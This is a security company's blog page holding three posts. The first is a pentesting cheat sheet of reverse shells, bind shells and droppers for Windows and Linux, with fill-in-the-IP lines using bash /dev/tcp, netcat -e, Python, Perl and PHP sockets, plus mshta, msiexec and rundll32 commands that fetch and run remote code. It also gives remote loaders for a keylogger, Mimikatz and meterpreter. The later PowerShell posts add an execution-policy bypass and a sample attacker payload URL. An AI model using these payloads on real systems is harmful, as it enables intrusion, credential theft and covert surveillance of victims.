Showing posts with label networking. Show all posts
Showing posts with label networking. Show all posts

Monday, 30 July 2018

ONE LINER SHELL

ONE LINER SHELL

One Liner Shell, Draws attention to the different types of shell and droppers which plays a most important role during penetration testing. These one-liners can be used for gaining access to the system. These scripts will be used by red teamers during their pentest.Shells are described as a small piece of code or program which is used to gain a command execution on a specific device. There are two types of shells,
  1. Reverse Shell
  2. Bind Shell

REVERSE SHELL

Reverse shell is a type of shell in which the victim machine connect back to the attacker machine. The attacker machine runs a listener on a specific port on which it receives the connection by performing command or code execution.

BIND SHELL

Bind shell is a type of shell in which the attacker creates a communication port or a listener on the victim machine and waits for the attacker to connect.
I was impressed by a tool, so I have decided to write this blog. Tool link: https://github.com/D4Vinci/One-Lin3r. To use these shell in your real-time scenario, you need to fill up the IP address and the port number.
We will be discussing the reverse shell and dropper for windows and Linux platforms.
  1. WINDOWS PAYLOADS
    1. Microsoft's SyncAppvPublishingServer
    2. WinInstaller_dropper
    3. Win_Remote_Management
    4. Execute C# files
    5. mshta hta
    6. netcat bind shell
    7. netcat reverse shell
    8. rundll32 dropper
    9. escalate services
    10. Key logger
    11. meterpreter shell
    12. mimikatz passwds
    13. Socket reverse
  2.  LINUX PAYLOADS
    1. bash reverse
    2. netcat bind
    3. piped reverse
    4. netcat reverse
    5. sockets reverse perl
    6. socket reverse php

1      WINDOWS PAYLOADS

            Here are some of following commands for shell in Windows platforms. We need to focus on the payload part and if you are willing to edit the payload, go for it.

MICROSOFT’S SYNCAPPVPUBLISHINGSERVER

The Sync-AppvPublishingServer cmdlet initiates the Microsoft Application Virtualization (App-V) publishing refresh operation in the context of the current user. The publishing refresh connects to all added servers on  the client and exposes new App-V packages and their respective extension points to the user. Using Microsoft’s SyncAppvPublishingServer to download and execute a PowerShell file.
Type = Dropper
Payload = SyncAppvPublishingServer.exe "n;((New-ObjectNet.WebClient).DownloadString('{mention the url of the payload}') | IEX

WININSTALLER_DROPPER

Windows Installer is a software component and application programming interface (API) of Microsoft Windows used for the installation, maintenance, and removal of software. Passing msi file URL to the Windows installer will download and execute the payload.
type = Dropper
Payload = msiexec /i {mention the msi file URL here}

WIN_REMOTE_MANAGEMENT

Windows Remote Management (WinRM) is a feature of Windows Vista that allows administrators to remotely run management scripts. Windows Remote Management provides the ability to remotely execute wmi commands
type = execute
Payload = winrm qc -q & winrm i c wmicimv2/Win32_Process @{CommandLine="{your_command_here}"}
Execute C# files
Using the .NET compiler to compile a c# payload locally that can then be executed.
Type = Execute

Payload = C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:payload.exe {your_cs_file_here}

MSHTA HTA

Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). Uses mshta command to download and execute your hta file.
Type = Dropper

Payload = mshta {your hta file url}

NETCAT BIND SHELL

Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. Uses netcat tool to setup a bind shell
Type = bind shell

Payload = nc -nv 4444 -e cmd.exe

NETCAT REVERSE SHELL

Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDPUses netcat tool to establish a reverse shell
Type = reverse 
Payload = nc -nv {ip} {port} -e cmd.exe
rundll32 dropper
The rundll32.exe process is responsible for running DLLs and placing its libraries in the memory. Using rundll32.exe to download and execute a PowerShell file.
Type = Dropper
Payload = rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('{your}');"
Escalate services
This is a power shell script which is used from power tools which are written by power Shell Empire. This script is used for escalation processes, so this script will search for vulnerable service privilege opportunities using the script from Power Tools
Type = escalation
Payload = Powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks

KEY LOGGER

Here a power shell script is been used to retrieve keystrokes. Using a script from powersploit to log keyboard strokes to C:\Users\Public\key.log
Type = Local
 Payload = Powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1');Get-Keystrokes -LogPath C:\Users\Public\key.log

METERPRETER SHELL

Metasploit meterpreter reverse HTTPS shell using a PowerShell script from powersploit
Type = Reverse
Payload = Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost {ip} -Lport {port} -Force

MIMIKATZ PASSWORDS

Grabbing passwords from memory using Invoke-mimikatz script from PowerSploit
Payload = Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

SOCKET REVERSE

Python socket to connect back & execute data with sub process.
Type = reverse

Payload = python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call("cmd");'

LINUX PAYLOADS

Bash reverse
Interactive shell via bash’s builtin /dev/TCP.
Type = Reverse
Payload = bash -i >& /dev/tcp/{ip}/{port} 0>&1

NETCAT BIND

Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. Uses netcat tool to setup a bind shell
Type = bind
Payload = nc -lvp 4444 -e /bin/sh

NETCAT REVERSE

Netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. Establish a reverse connection with netcat.
Type = Reverse
Payload = nc -e /bin/sh {ip} {port}

PIPED REVERSE

Uses a tool exists on most of the systems and the output of the commands will be piped back.
Type = Reverse
Payload = exec 5<>/dev/tcp/{ip}/{port} && cat <&5 | while read line; do $line 2>&5 >&5; done

SOCKETS REVERSE PERL

Uses Perl sockets & the output of your commands will be piped back.
Type = reverse

Payload = perl -e 'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

SOCKET REVERSE PHP

Uses PHP sockets & exec to create a reverse shell.
Type = reverse
Payload = php -r '$sock=fsockopen("{ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");'

CONCLUSION

In today’s world, the shell is becoming very famous, interesting and  increasing in numbers. Mostly attackers preferred to hack or compromise a system using shell only because they are very flexible regarding modifying the code. Major Cyber-attacks are performed using the reverse shell. So users need to be very careful while handling any tools or files. Before executing a tool or a file try to scan the file for any malware detection (you can use some online scanners such as https://www.virustotal.com/#/home/upload or https://nodistribute.com/ ).
Be prepared and be safe

AUTHOR

Venkatesh C.S
Security Engineer
Briskinfosec Technology and Consulting PVT LTD
Find  me @ https://www.linkedin.com/in/venkatesh-c-s-44174711b/

Wednesday, 18 July 2018

SECURITY TASKS USING POWERSHELL


SECURITY TASKS USING POWERSHELL


PowerShell is a  advanced admin tool for Windows operating system. End users with advanced knowledge or those who have worked with an older version of windows may be much familiar with the command prompt via which you can run commands and scripts. PowerShell is similar but a lot more advanced regarding functionality.
This blog gives you some advanced functions for configuring management and automated tasks. Powershell includes both scripting language and command line shell. It is built on.Net Framework. Its also offers you Integrated Scripting Environment (ISE), which gives you a GUI where you can naturally do all your scripting.
we will see how effectively we can use PowerShell on security-related tasks,

CONTENTS

  1. Understanding Execution Policy
  2. Overriding Execution Policy
  3. Listing NTFS Permissions
  4. Clone NTFS Permissions
  5. Adding Permissions
  6. Removing Permissions
  7. Checking Administrator Privileges

UNDERSTANDING EXECUTION POLICY

 Execution policy enables a user to determine which PowerShell scripts will be allowed to run on your computer. There are four different execution policies are available in the PowerShell.
They are
  • Restricted – no scripts can run. Interactive mode only can be used.
  • AllSigned – the scripts which are signed by the trusted publisher can be able to run
  • RemoteSigned –   scripts which are downloaded must be approved by a trusted publisher before they run.
  • Unrestricted – there will be no restriction on running any PowerShell scripts.

This command will show you current execution policy.
 PS C:\Users\proxy_000> Get-ExecutionPolicy
Restricted
End users should use the RemoteSigned. It will allow the user to run local scripts, but it won’t enable scripts from outside the network or downloaded scripts from the internet.
Professional scripters can use “Bypass” which allow you to run any script regardless of location.
Here is a command to change execution policy for your user account.
PS C:\Users\proxy_000> Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

PS C:\Users\proxy_000> Get-ExecutionPolicy
Bypass
PS C:\Users\proxy_000>

OVERRIDING EXECUTION POLICY

 Execution policy is not a security boundary to protect you from attackers. It just acts as a seat belt to protect you. There are many other ways to override the execution policy and execute the scripts or commands.
PS C:\Users\proxy_000> Get-Content ‘c:\evilscript.ps1’ -Raw | powershell.exe -nonprofile - 

LISTING NTFS PERMISSIONS

 To view  NTFS permission for folders and files use Get-Act. At first, It won’t show you the actual permission. But we can make visible using this :
PS C:\Users\proxy_000> Get-Acl -path $env:windir | Select-Object -ExpandProperty Access

CLONE NTFS PERMISSIONS

  NTFS access permission is complicated and tricky. To quickly assign NTFS permission to a new folder, you can merely clone permission from another folder that you know has the correct permission applied.
$OriginalPath = “$env:temp\sample”
New-Item -Path $OriginalPath -ItemType Directory
 to assign correct permission to folder “proxy” manually
Explorer.exe “/Select,$OriginalPath.”
 Right-click the proxy folder and choose properties and then click the security tab. Now add security permission you need to apply
When your prototype folder is correctly configured. Use this code to read information about security
$sddl = (Get-Acl $OriginalPath).Sddl
 From this point, you don’t need your prototype folder anymore. It was required to create SDDL definition string.
$newpath = “$env:temp\NewFolder”
md $newpath
$sd = Get-Acl -Path $newpath
$sd.SetSecurityDescriptorSddlForm($sddl)
Set-Acl -Path $newpath -Aclobject $sd

ADDING PERMISSIONS

Adding new permission to an existing security descriptor, first, create an appropriate AccessRule object and configure it.
This script adds a new FileSystemAccessRule to the security descriptor of a file, granting read and write access to proxydomain\proxyaccount.
Make sure you adjust both user account and filename before you test the code:
$colRights = [System.Security.AccessControl.FileSystemRights]’Read, Write’
$InheritanceFlag = [System.Security.AccessControl.InheritanceFlags]::None
$PropagationFlag = [System.Security.AccessControl.PropagationFlags]::None
$objType =[System.Security.AccessControl.AccessControlType]::Allow
$objUser = New-Object System.Security.Principal.NTAccount(‘proxydomain\proxyaccount.’)
$objACE = New-Object System.Security.AccessControl.FileSystemAccessRule `
($objUser, $colRights, $InheritanceFlag, $PropagationFlag, $objType)
# get original SD
$catACL = Get-Acl ‘C:\proxy\pr0xy.txt’
 # add permission
$catACL.AddAccessRule($objACE)
 # write back the appended SD
Set-Acl ‘C:\proxy\pr0xy.txt’ $catACL

REMOVING PERMISSIONS

 To remove a permission from a security descriptor, get access to the Acl entries, and pick the ones to delete and write back the changed security descriptor.
 $catACL = Get-Acl c:\proxy\pr0xy.txt
$unwanted = $catACL.Access |
Where-Object { $_.IdentityReference.Value -eq ‘proxydomain\proxyaccount’ }
$unwanted | ForEach-Object { $null = $catACL.RemoveAccessRule($_) }
Set-Acl -Path c:\proxy\pr0xy.txt -AclObject $catACL

CHECKING ADMINISTRATOR PRIVILEGES

There are many ways to find out if a script runs been elevated. Here’s a straightforward approach that uses whoami.exe (works withWin7/Server 200 R2 or better):
 (whoami.exe /all | Select-String S-1-16-12288) -ne $null
If you do not have whoami.exe, or if you are looking for a more integrated way, you can use a line that is a little longer but identifies Admin status directly, without calling an external program:
(New-Object System.Security.Principal.WindowsPrincipal([System.Security.
Principal.WindowsIdentity]::GetCurrent())).IsInRole([System.Security.Principal.
WindowsBuiltInRole]::Administrator)

CONCLUSION :

 As we discussed in this blog, PowerShell is an advanced admin tool which is capable of performing above mentioned task. By executing these tasks, the admin could save much time. This allows  to avoid attackers to get into our system .
Briskinfosec offers periodic system hardening solutions to bring down the risk level in the organization, our constructive and customized solution will help organization from serious threats against system hardening.

AUTHOR

Venkatesh C.S
Security Engineer
Briskinfosec Technology and Consulting PVT LTD
Find  me @ https://www.linkedin.com/in/venkatesh-c-s-44174711b/
Related Blogs :
  1.   Two Phases of Powershell- Offensive and Defensive
  2.  How to use Powershell as Handy like Shell Script?

Saturday, 30 June 2018

How to use PowerShell as Handy like Shell script?


HOW TO USE POWERSHELL AS HANDY LIKE SHELL SCRIPT?


PowerShell is a mixture of a command line, a functional programming language, and an object-oriented programming language. PowerShell is also called as explorer’s scripting language. With built-in help, command discovery, and with access to much of the .NET Framework, it is possible to dig down through the layers. In this blog, we are going to discuss internet related tasks using PowerShell.
Since Shell script giving more freedom to Linux admins then why not PowerShell can provide it for windows admins. For example, if you are a consultant and some of the things you need to do regularly is to connect into clients Wi-Fi networks. This tasks can be once in a month, or sometimes it will be a daily task as well. Opening the internet explorer and navigating to the page, typing the credentials and submitting the request will take much time. There is some easy way to do your daily routine directly with simple PowerShell scripting. Here I am going to share some sample scripts to automate your routine tasks. My job is also to bring your notice as to how such options are used by potential attackers bypass your security implementations.
Let’s get started…
CONTENTS
  1. Downloading Files
    1. WebClient with Proxy Authentication
    2. Downloading with BitsTransfer
      1. Synchronously method
      2. Asynchronously method
    3. Download Web Page Content
  2. Search and View Any Videos
  3. Refreshing Web Pages
  4. HTML Encoding and Decoding
  5. Sending POST Data via PowerShell

DOWNLOADING FILES

To automatically download files for internet, we can use .NET WebClient object. This script shares the internet connection settings with IE explorer.
$url = ‘http://www.briskinfosec.com/sample/example.pdf’

            $object = New-Object Net.WebClient

            $localPath = “$home\Documents\example.pdf”

            $object.DownloadFile($url, $localPath)

            explorer.exe “/SELECT,$localPath”

Invoke-Item -Path $localPath
Most attackers use this script to auto download their payloads. Powershell has ability to bypass antivirus as-well.
The attacker will insert his/her server addresses where the payload is placed in the URL section
$url = ‘http://www.hacker.com/payload.exe’   

WEBCLIENT WITH PROXY AUTHENTICATION

If you want to use internet proxy, to access the internet with web client object, we can use a proxy in the script with default credentials to it.
function Get-WebClient

{

            $wc = New-Object Net.WebClient

            $wc.UseDefaultCredentials = $true

            $wc.Proxy.Credentials = $wc.Credentials

            $wc

}

$url = ‘http://www.briskinfosec.com/sample/example.pdf’

            $object = Get-WebClient

            $localPath = “$home\Documents\example.pdf”

            $object.DownloadFile($url, $localPath)

            explorer.exe “/SELECT,$localPath”

Invoke-Item -Path $localPath

 DOWNLOADING WITH BITSTRANSFER

 BITS technology is used to download updates for windows. It can download large files, but not as fast. When the restart intercepts the download, once the system boots up it starts to download where it is left off. BITS can use to download files synchronously (while you wait) and asynchronously (in the background).

   SYNCHRONOUSLY METHOD:

 $url = ‘http://www.briskinfosec.com/sample/example.pdf’

$target = “$HOME\Documents\example.pdf”

            Import-Module BitsTransfer

            Start-BitsTransfer -Source $url -Destination $target

            explorer.exe “/SELECT,$target”
Invoke-Item -Path $target

   ASYNCHRONOUSLY METHOD:

 $url = ‘http://powershell.com/cs/media/p/31297/download.aspx’

$target = “$HOME\Documents\PowerShell_Using_Registry.pdf”

            Import-Module BitsTransfer

            Start-BitsTransfer -Source $url -Destination $target -DisplayName             BriskDownload -Asynchronous
Once it is finished run this command to finalize the download
Get-BitsTransfer -Name ‘BriskDownload’ | Complete-BitsTransfer

  DOWNLOAD WEB PAGE CONTENT

            This script will bring the new web page content using the WebClient object.
$url = ‘http://briskinfosec.com/powershell/
            $wc = New-Object System.Net.WebClient

            $wc.DownloadString($url)

 SEARCH AND VIEW ANY VIDEOS

PowerShell has a fantastic feature that let you search for YouTube videos for the given keyword the user mentioned and offers those videos.
In this script, we are searching for “PowerShell tutorial” from YouTube. The list opens in a grid viewed window, so you can use the full-text search at the top or sort columns until you find the video you want to give a try.
Next, click the video to select it, and then click “OK” in the lower-right corner of the grid.
PowerShell will launch your web browser and play the video. Awesome!
$keyword = “PowerShell tutorial”

            Invoke-RestMethod -Uri “https://gdata.youtube.com/feeds/api/videos?v=2&q=$($keyword.Replace(‘ ‘,’+’))” |

            Select-Object -Property Title, @{N=’Author’;E={$_.Author.Name}},             @{N=’Link’;E={$_.Content.src}}, @{N=’Updated’;E={[DateTime]$_.Updated}} | Sort-Object -Property Updated -Descending | 
Out-GridView -Title “Select your ‘$Keyword’ video, then click OK to view.” -PassThru |

ForEach-Object { Start-Process $_.Link }

  REFRESHING WEB PAGES

Just think, we have opened some web pages in our IE explorer and we need the page to display the current information like cricket score and share market readings. Instead of manually reloading the pages, we can use this script to do it automatically for us.
Note: it will work only on Internet Explorer, and it needs to run from PowerShell console, not from ISE.
So you will be IMPORT-MODULE example.ps1 and invoke the script
function Refresh-WebPages {

param(

            $interval = 5  # this will refresh every five seconds

)

            “Refreshing IE Windows every $interval seconds.”

            “Press any key to stop.”

            $shell = New-Object -ComObject Shell.Application

do {

            ‘Refreshing ALL HTML’

            $shell.Windows() |

            Where-Object { $_.Document.url } |

            ForEach-Object { $_.Refresh() }

            Start-Sleep -Seconds $interval

} until ( [System.Console]::KeyAvailable )

            [System.Console]::ReadKey($true) | Out-Null

}

   HTML ENCODING AND DECODING

This script is used to encode and decode the HTML content to special characters
[System.Web.HttpUtility]::HTMLEncode(‘This is a test & a good way to encode. ÄÖÜ’)

[System.Web.HttpUtility]::HTMLDecode(‘This is a test &amp; a good way to encode.&#196;&#214;&#220;’)

OUTPUT:

 PS> [System.Web.HttpUtility]::HTMLEncode(‘This is a test & a good way to encode. ÄÖÜ’)

This is a test &amp; a good way to encode. &#196;&#214;&#220;

PS> [System.Web.HttpUtility]::HTMLDecode(‘This is a test &amp; a good way to encode. &#196;&#214;&#220;’)

This is a test & a good way to encode. ÄÖÜ

SENDING POST DATA VIA POWERSHELL

Most of the time feedback or any votes on web pages are sent back via POST requests. You can send that informaton through PowerShell. We need to create a simple POST request with target URL and  with appropriate  parameter  then send it
$url = “http://anyurl.com”

            $parameters = “voting=true&poll_id=5” # your POST parameters

            $http_request = New-Object -ComObject Msxml2.XMLHTTP

            $http_request.Open(‘POST’, $url, $false)

            $http_request.SetRequestHeader(“Content-type”, “application/x-www-form-urlencoded”)

            $http_request.SetRequestHeader(“Content-length”, $parameters.length)

            $http_request.SetRequestHeader(“Connection”, “close”)

            $http_request.Send($parameters)

            $http_request.StatusText 

CONCLUSION

In this blog we have discussed about the internet related task which is used by the system admins where they can save their time by executing the previous discussed scripts.  There are many more scripts available to automate every routine process on your daily basis.
Briskinfosec offers periodic system hardening solutions to bring down the risk level in the organization, our constructive and customized solution will help organization from serious threats against system hardening.

AUTHOR

Venkatesh C.S
SecurityEngineer
Briskinfosec Technology and Consulting PVT LTD
Find  me @ https://www.linkedin.com/in/venkatesh-c-s-44174711b/